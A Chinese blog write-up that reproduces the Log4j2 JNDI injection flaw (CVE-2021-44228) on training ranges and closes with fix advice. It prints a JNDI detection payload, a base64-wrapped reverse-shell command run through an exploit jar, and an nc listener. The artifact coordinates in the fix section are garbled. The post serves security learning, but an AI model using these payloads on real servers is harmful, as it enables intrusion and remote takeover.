首先我们先说一下log4j和log4j2的区别
最近由于 log4j2 的漏洞问题,让我对 log4j 和 log4j2 的区别有了一些认识,这里做个简单的记录。
log4j
我理解的 log4j 就是 1.x 版本的 log4j,核心 jar 包就一个,如下:
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
log4j2
与 log4j 不同,log4j2 的核心 jar 包有两个,如下:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.5</version>
</dependency>
Apache 对 log4j 和 log4j2 在 groupId 上也做了明确的区分,换句话来说就是 package 的路径不同了。这样我们甚至可以在一个 project 中同时使用 log4j 和 log4j2。
环境配置
这里我们主要使用vulfocus和掌控者两个平台,至于为什么要用俩平台呢,只是因为vulfocus搭建的靶场一直没办法反弹shell,所以我们这里用两个平台进行演示。
启动环境
![图片[1]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd165946.png)
![图片[2]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd170000.png)
我们可以直接点击?????查看payload地址:http://ip:39013/hello?payload=111
使用burp进行抓包,然后使用验证 dsnlog,进行漏洞检测
/hello?payload=${jndi:ldap://t9qyjz.dnslog.cn}
![图片[3]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd170246.png)
直接使用jndi服务提示404,我们将payload进行url编码重发
![图片[4]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd170344.png)
![图片[5]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd170416.png)
此时返回值为200,同时dnslog也有回显
![图片[6]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd170458.png)
存在Log4j2远程命令执行(CVE-2021-44228)漏洞
反弹shell
这里我们使用工具进行下一步实验
下载exp,工具具体目录在文件中的tools目录下
http://github.com/bkfish/Apache-Log4j-Learning/
http://github.com/welk1n/JNDI-Injection-Exploit/releases
构造payload:
bash -i >& /dev/tcp/ip/6666 0>&1
base64加密
加密的结果
使用工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,加密的结果}|{base64,-d}|{bash,-i}" -A xx.xx.xx.xx
![图片[7]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd171003.png)
同时开启nc监听
nc -lvp 6666
![图片[8]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd171050.png)
使用上述方法进行反弹shell
${jndi:刚刚工具生成的ldap服务地址}
将payload进行url编码,然后重新发包
![图片[9]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd171315.png)
可以看见返回值200,已经成功了,但是就是没有shell反弹回来
![图片[8]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd171050.png)
搜了好长时间,vulhub、vulfocus的靶场都没办法反弹shell,后面又测试了几个平台,发现掌控者可以直接反弹,就拿这个演示吧
注册,打开掌控者靶场平台,进入log4j靶场
![图片[11]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd171822.png)
直接输入反弹shell的payload,点击登录即可
![图片[12]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd172004.png)
成功反弹shell
![图片[13]-Log4j2远程命令执行(CVE-2021-44228)漏洞检测与反弹shell复现-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd172049.png)
应该就是靶场问题吧
修复建议
官方方案:
- 将Log4j框架升级到2.15.0版本:
org/apache/loging/logj/logj-core/5.0 - 不要用2.15.0-rc1和2.15.0-rc2
临时方案
- 升级JDK
- 修改log4j配置
- 设置参数:
log4j2.formatMsgNoLookups=True - 修改jvm参数:
-Dlog4j2.formatMsgNoLookups=true - 系统环境变量:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true - 禁止log4j2所在的服务器外连
- 设置参数:
- 使用安全产品防护:WAF、RASP















请登录后查看评论内容